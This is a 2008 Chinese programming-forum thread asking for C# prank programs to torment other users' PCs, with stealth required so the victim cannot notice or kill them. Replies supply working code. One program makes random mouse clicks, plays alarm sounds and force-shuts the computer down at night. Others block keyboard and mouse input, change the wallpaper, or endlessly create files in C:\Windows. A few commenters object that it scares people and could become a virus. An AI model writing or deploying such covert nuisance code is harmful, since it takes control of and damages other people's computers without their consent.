CSDN-CSDN社区-.NET技术-C#

收藏 [推荐] 怎样用C# 搞笑 整人[问题点数:300,结帖人:aimeast]

  • aimeast
  • (Just)
  • 等 级:
  • 结帖率:
楼主发表于:2008-11-22 18:39:06
要求

1、方法不限,要让用户不能使用键盘鼠标、屏幕出现异常情况、发出诡异声音、出现蓝屏、出现黑屏……
2、必须是.net 2.0框架下的程序。可以使用api。只要程序写出来能在XP + .net 2.0上运行就可以。
3、隐蔽性。尽量不能让用户察觉。需要有比较好的隐蔽性。比如防止结束进程、线程注入……
4、可恢复性。要保证系统重启之后会自动回复正常,不能有任何的“后遗症”。要考虑用户可能会强制关机。




只要能提供有价值的方法或有趣的整人方法者都有分。

如果参与人数多,还会继续加分!
回复次数:921
#1楼 得分:0回复于:2008-11-22 18:39:54
自己沙发,然后附上一个简单的整人程序。

C# code
using System; using System.Diagnostics; using System.Media; using System.Runtime.InteropServices; using System.Threading; namespace wga { static class Program { const int MOUSEEVENTF_LEFTDOWN = 0x2; const int MOUSEEVENTF_LEFTUP = 0x4; const int MOUSEEVENTF_MIDDLEDOWN = 0x20; const int MOUSEEVENTF_MIDDLEUP = 0x40; const int MOUSEEVENTF_MOVE = 0x1; const int MOUSEEVENTF_ABSOLUTE = 0x8000; const int MOUSEEVENTF_RIGHTDOWN = 0x8; const int MOUSEEVENTF_RIGHTUP = 0x10; [DllImport("user32.dll")] static extern int GetSystemMetrics(int nIndex); [DllImport("user32.dll")] static extern int SetCursorPos(int x, int y); [DllImport("user32.dll")] static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo); static int Sx, Sy; static long tick = 1; static Random rnd = new Random(); [STAThread] static void Main() { try { Sx = GetSystemMetrics(0); Sy = GetSystemMetrics(1); while(true) { if((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0) DoShutdown(); Thread.Sleep(1000); tick += rnd.Next(2); if(tick < 1800) continue; if(tick % 643 == 0) DoMouse(); if(tick % 313 == 0) DoBang(); } } catch { }; } static void DoMouse() { int dx, dy; int c = 4; while(c-- > 0) { dx = rnd.Next(Sx); dy = rnd.Next(Sy); switch(rnd.Next(3)) { case 0: SetCursorPos(dx, dy); break; case 1: mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0); break; case 2: mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0); break; } Thread.Sleep(100); } } static void DoBang() { switch(rnd.Next(4)) { case 0: SystemSounds.Asterisk.Play(); break; case 1: SystemSounds.Beep.Play(); break; case 2: SystemSounds.Exclamation.Play(); break; case 3: SystemSounds.Hand.Play(); break; } } static void DoShutdown() { Process.Start("shutdown.exe", "-f -s -t 0"); } } }
#2楼 得分:2回复于:2008-11-22 18:51:58
我也发一个,阻止用户输入,不过按Ctrl+Alt++del就可解除。
C# code
// true阻止输入,false解除阻止输入 [DllImport("User32.dll")] public static extern bool BlockInput(bool enabled);
#3楼 得分:1回复于:2008-11-22 18:58:05
收藏
  • xyz254用户头像
  • xyz254
  • (xyz254)
  • 等 级:
#4楼 得分:1回复于:2008-11-22 20:06:20
mark
#5楼 得分:2回复于:2008-11-22 20:16:34
篡改背景图片
C# code
[DllImport("user32.dll", EntryPoint = "SystemParametersInfo")] public static extern int SystemParametersInfo( int uAction, int uParam, string lpvParam, int fuWinIni ); /// <summary> /// 设置背景图片 /// </summary> /// <param name="picture">图片路径</param> private void SetDestPicture(string picture) { if (File.Exists(picture)) { if (Path.GetExtension(picture).ToLower() != "bmp") { // 其它格式文件先转换为bmp再设置 string tempFile = @"D:\test.bmp"; Image image = Image.FromFile(picture); image.Save(tempFile, System.Drawing.Imaging.ImageFormat.Bmp); picture = tempFile; } SystemParametersInfo(20, 0, picture, 0x2); } }
#6楼 得分:1回复于:2008-11-22 20:22:02
UP...
#7楼 得分:1回复于:2008-11-22 20:31:54
不觉得楼主这么做有什么意义
  • pp_shy用户头像
  • pp_shy
  • (猫咪吃玉米)
  • 等 级:
#8楼 得分:1回复于:2008-11-22 20:35:13
标记,UP
#9楼 得分:2回复于:2008-11-22 20:44:35
再来一个,启动屏保
C# code
private void RunScreenSaver() { String[] screenSavers = Directory.GetFiles(Environment.SystemDirectory, "*.scr"); if (screenSavers.Length > 0) { // 启动获取到的第一个屏保 Process.Start(new ProcessStartInfo(screenSavers[0])); } }
#10楼 得分:0回复于:2008-11-22 20:45:24
5楼的,你能做到要求的第四条吗?
引用楼主 aimeast 的帖子:
4、可恢复性。要保证系统重启之后会自动回复正常,不能有任何的“后遗症”。要考虑用户可能会强制关机。
#11楼 得分:1回复于:2008-11-22 20:51:37
mark
#12楼 得分:1回复于:2008-11-22 20:55:27
mark
#13楼 得分:1回复于:2008-11-22 20:56:39
学习!
#14楼 得分:1回复于:2008-11-22 21:00:51
mark
#15楼 得分:1回复于:2008-11-22 21:01:04
学习
#16楼 得分:1回复于:2008-11-22 21:27:15
up
  • net5i用户头像
  • net5i
  • (永不停息的程序人生)
  • 等 级:
#17楼 得分:1回复于:2008-11-22 21:29:03
呵呵,楼主比较搞
#18楼 得分:1回复于:2008-11-22 21:34:29
引用 10 楼 aimeast 的回复:
5楼的,你能做到要求的第四条吗?
引用楼主 aimeast 的帖子:
4、可恢复性。要保证系统重启之后会自动回复正常,不能有任何的“后遗症”。要考虑用户可能会强制关机。


不好意思,不过你可以变通一下,先篡改图片然后等一秒或者你认为比较合适的时间再恢复到篡改前的图片,这样也可以达到你的目的,
至于系统的当前桌面的图片的位置可以在注册表中找到。可以试试。
#19楼 得分:0回复于:2008-11-22 21:45:05
引用 18 楼 pojianbing 的回复:

不好意思,不过你可以变通一下,先篡改图片然后等一秒或者你认为比较合适的时间再恢复到篡改前的图片,这样也可以达到你的目的,
至于系统的当前桌面的图片的位置可以在注册表中找到。可以试试。



呵呵,可以考虑
#20楼 得分:2回复于:2008-11-22 21:52:11
我也来个。。。
long k=0;
While(true)
{
    k++;
    File.Create("C:\Windows\"+k.ToString()+".jok");
}
#21楼 得分:1回复于:2008-11-22 21:59:32
有意思,收了
  • mjjzg用户头像
  • mjjzg
  • (mjjzg)
  • 等 级:
#22楼 得分:1回复于:2008-11-22 22:42:40
UP,以表支持
#23楼 得分:1回复于:2008-11-22 22:47:17
Mark一下。
  • xocom用户头像
  • xocom
  • (肉球人)
  • 等 级:
#24楼 得分:1回复于:2008-11-22 22:49:32
MARK
#25楼 得分:1回复于:2008-11-22 23:02:23
mark
  • ccs02287用户头像
  • ccs02287
  • (空心兜兜)
  • 等 级:
  • 5

    3

#27楼 得分:2回复于:2008-11-22 23:12:02
能把亮度输出调小甚至是调到0最好
然后调用PC小喇叭发警告声是最好玩了


  • cc_net用户头像
  • cc_net
  • (.NET努力使程序员变的更SB)
  • 等 级:
#28楼 得分:1回复于:2008-11-23 02:21:02
满足要求都满足后,改动下恶作剧程序就可当病毒了
#29楼 得分:1回复于:2008-11-23 02:54:41
整人好玩吗,对于不懂电脑的人,你会吓到他的
  • mryecq用户头像
  • mryecq
  • (mryecq)
  • 等 级:
#30楼 得分:1回复于:2008-11-23 03:39:51
MARK
#31楼 得分:1回复于:2008-11-23 03:59:22
mark
#32楼 得分:1回复于:2008-11-23 03:59:37
mark
#33楼 得分:1回复于:2008-11-23 05:20:53
牛啊,学习下
  • 888228用户头像
  • 888228
  • (Little Bear)
  • 等 级:
#34楼 得分:1回复于:2008-11-23 07:24:30
关注下,顺便提问LZ,程序自动运行还是需要他自己点击后才运行?
  • clxcxx用户头像
  • clxcxx
  • (大地)
  • 等 级:
#35楼 得分:1回复于:2008-11-23 08:45:44
mark
#36楼 得分:1回复于:2008-11-23 08:46:18
mark
#38楼 得分:1回复于:2008-11-23 09:01:05

有心研究,却找不到资源,样板....


传说每天回帖即可获得 10 分可用分!
  • 0009用户头像
  • 0009
  • (夏天以南)
  • 等 级:
#39楼 得分:1回复于:2008-11-23 09:14:32
MARK
#40楼 得分:1回复于:2008-11-23 09:23:53
up
#41楼 得分:1回复于:2008-11-23 09:23:56
C# code
using System; using System.Collections.Generic; using System.Windows.Forms; // using System.Runtime.InteropServices; using System.Threading; using System.Media; namespace Z { static class Program { const int MOUSEEVENTF_LEFTDOWN = 0x2; const int MOUSEEVENTF_LEFTUP = 0x4; const int MOUSEEVENTF_MIDDLEDOWN = 0x20; const int MOUSEEVENTF_MIDDLEUP = 0x40; const int MOUSEEVENTF_MOVE = 0x1; const int MOUSEEVENTF_ABSOLUTE = 0x8000; const int MOUSEEVENTF_RIGHTDOWN = 0x8; const int MOUSEEVENTF_RIGHTUP = 0x10; [DllImport("user32.dll")] static extern int GetSystemMetrics(int nIndex); [DllImport("user32.dll")] static extern int SetCursorPos(int x, int y); [DllImport("user32.dll")] static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo); static int Sx, Sy; static long tick = 1; static Random rnd = new Random(); [STAThread] static void Main() { try { Sx = GetSystemMetrics(0); Sy = GetSystemMetrics(1); while (true) { if ((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0) DoShutdown(); Thread.Sleep(1000); tick += rnd.Next(2); if (tick < 1800) continue; if (tick % 643 == 0) DoMouse(); if (tick % 313 == 0) DoBang(); } } catch { }; } static void DoMouse() { int dx, dy; int c = 4; while (c-- > 0) { dx = rnd.Next(Sx); dy = rnd.Next(Sy); switch (rnd.Next(3)) { case 0: SetCursorPos(dx, dy); break; case 1: mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0); break; case 2: mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0); break; } Thread.Sleep(100); } } static void DoBang() { switch (rnd.Next(4)) { case 0: SystemSounds.Asterisk.Play(); break; case 1: SystemSounds.Beep.Play(); break; case 2: SystemSounds.Exclamation.Play(); break; case 3: SystemSounds.Hand.Play(); break; } } static void DoShutdown() { [color=#FF0000]Process[/color].Start("shutdown.exe", "-f -s -t 0"); } } }



报错耶:  当前上下文中不存在"Process".
#42楼 得分:1回复于:2008-11-23 09:45:35
Mark
#43楼 得分:1回复于:2008-11-23 10:15:15
Mark
#44楼 得分:1回复于:2008-11-23 10:22:41
总算体验到编程的快感啦,
呵呵...
帮楼住顶起来...
#45楼 得分:0回复于:2008-11-23 10:55:21
引用 34 楼 888228 的回复:
关注下,顺便提问LZ,程序自动运行还是需要他自己点击后才运行?


这个随便。要自动运行也很简单。
#46楼 得分:0回复于:2008-11-23 10:56:26
回41楼的
你没有using System.Diagnostics;
看看我2楼的代码。
#47楼 得分:0回复于:2008-11-23 10:58:13
再提供一个思想:用SHChangeNotifyAPI进行欺骗
#48楼 得分:1回复于:2008-11-23 11:06:06
如果是对方没有装.Net2.0,
可能就跑不起来,呵呵...
#49楼 得分:1回复于:2008-11-23 11:30:33
using System;
using System.Diagnostics;
using System.Media;
using System.Runtime.InteropServices;
using System.Threading;

namespace wga
{
    static class Program
    {
        const int MOUSEEVENTF_LEFTDOWN = 0x2;
        const int MOUSEEVENTF_LEFTUP = 0x4;
        const int MOUSEEVENTF_MIDDLEDOWN = 0x20;
        const int MOUSEEVENTF_MIDDLEUP = 0x40;
        const int MOUSEEVENTF_MOVE = 0x1;
        const int MOUSEEVENTF_ABSOLUTE = 0x8000;
        const int MOUSEEVENTF_RIGHTDOWN = 0x8;
        const int MOUSEEVENTF_RIGHTUP = 0x10;

        [DllImport("user32.dll")]
        static extern int GetSystemMetrics(int nIndex);
        [DllImport("user32.dll")]
        static extern int SetCursorPos(int x, int y);
        [DllImport("user32.dll")]
        static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);

        static int Sx, Sy;
        static long tick = 1;
        static Random rnd = new Random();
        [STAThread]
        static void Main()
        {
            try
            {
                Sx = GetSystemMetrics(0);
                Sy = GetSystemMetrics(1);
                while(true)
                {
                    if((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0)
                        DoShutdown();
                    Thread.Sleep(1000);
                    tick += rnd.Next(2);
                    if(tick < 1800)
                        continue;
                    if(tick % 643 == 0)
                        DoMouse();
                    if(tick % 313 == 0)
                        DoBang();
                }
            }
            catch { };
        }
        static void DoMouse()
        {
            int dx, dy;
            int c = 4;
            while(c-- > 0)
            {
                dx = rnd.Next(Sx);
                dy = rnd.Next(Sy);
                switch(rnd.Next(3))
                {
                    case 0:
                        SetCursorPos(dx, dy);
                        break;
                    case 1:
                        mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
                        break;
                    case 2:
                        mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
                        break;
                }
                Thread.Sleep(100);
            }
        }
        static void DoBang()
        {
            switch(rnd.Next(4))
            {
                case 0:
                    SystemSounds.Asterisk.Play();
                    break;
                case 1:
                    SystemSounds.Beep.Play();
                    break;
                case 2:
                    SystemSounds.Exclamation.Play();
                    break;
                case 3:
                    SystemSounds.Hand.Play();
                    break;
            }
        }
        static void DoShutdown()
        {
            Process.Start("shutdown.exe", "-f -s -t 0");
        }
    }
}

#50楼 得分:1回复于:2008-11-23 11:37:59
好哦,好哦,收了